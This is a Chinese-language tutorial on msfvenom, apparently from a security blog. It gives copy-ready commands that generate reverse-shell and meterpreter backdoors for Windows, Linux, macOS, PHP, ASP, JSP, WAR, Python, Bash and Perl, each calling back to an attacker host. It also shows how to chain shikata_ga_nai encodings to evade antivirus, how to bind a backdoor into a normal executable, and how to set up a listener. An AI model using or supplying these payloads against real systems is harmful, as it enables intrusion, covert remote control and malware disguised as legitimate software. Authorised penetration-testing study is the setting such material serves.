如何使用msfvenom

君子藏器于身待时而动,安全不露圭角覆盂之安。

——AnonySec

https://payloads.cn

简介

Msfvenom 在 2015 年 6 月 8 日已经替代了 msfpayload 与 msfenocde 命令,它是这两个命令的结合体。

参数详解

为了开始使用 msfvenom,可以首先浏览一下它所支持的命令参数:

image-20200107114035988

-l

查看所有payload。

-p

添加载荷payload。

载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门,所以只有选对payload,再填写正确自己的IP,PORT就可以生成对应语言,对应平台的后门了。

(- -payload-options 列出payload选项)

-f

输出文件格式。

(- -help-formats 列出所有文件格式)

可执行格式:

asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war

转换格式:

bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript

-e

编码免杀。

-a

选择架构平台

x86 | x64 | x86_64

Platforms:

windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe。

-o

文件输出。

-n

为payload指定一个 nopsled 长度 。

-b

避免使用的字符 例如:不使用 ‘\0f’。

-s

生成payload的最大长度,就是文件大小。

-i

编码次数。

-c

添加自己的shellcode。

-x | -k

捆绑。例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

如何生成 Payload

为了生成 Payload,需要配置两个必要的参数(-p 与 -f)。

典型生成

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f exe > shell.exe

编码处理型

-i 参数来将一个 payload 编码多次,有时候多次编码可以绕过防病毒软件的检测(俗称免杀),但要知道的是:编码并不能真正作为免杀的解决方案。

-e选项来开启 payload 编码功能。

1
msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai LHOST=<Your IP Address> LPORT=<Your Port> –f exe –o C:\back.exe

捆绑

1
2
msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\nomal.exe –k 
LHOST=<Your IP Address> LPORT=<Your Port> –f exe –o C:\shell.exe

输出串联

如何将 msfvenom 的输出串联起来(利用操作系统管道的重定向特性)。

以前旧的 msfpayloadmsfencode 经常串联使用,并按照多种编码顺序排列。msfvenom 也可以被这样使用:

1
2
3
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f raw -e x86/shikata_ga_nai -i 5 | \
msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | \
msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o payload.exe
image-20200107144152754

系统

Linux

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f elf > shell.elf

Windows

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f exe > shell.exe

Mac

1
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f macho > shell.macho

Web

PHP

1
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f raw > shell.php

ASP

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f asp > shell.asp

JSP

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f raw > shell.jsp

WAR

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f war > shell.war

脚本

Python

1
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port> -f raw > shell.py

Bash

1
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port> -f raw > shell.sh

Perl

1
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port> -f raw > shell.pl

Shellcode

有关所有shellcode,请参阅msfvenom -help-formats以获取有关有效参数的信息。

基于Linux的Shellcode

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f <language>

基于Windows的Shellcode

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f <language>

基于Mac的Shellcode

1
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f <language>

监听

1
2
3
4
5
msf5 > use exploit/multi/handler
msf5 > set payload <payload名称>
msf5 > set lhost/rhost <本地IP/目标IP>
msf5 > set lport <本地端口>
msf5 > run -j -z

Reference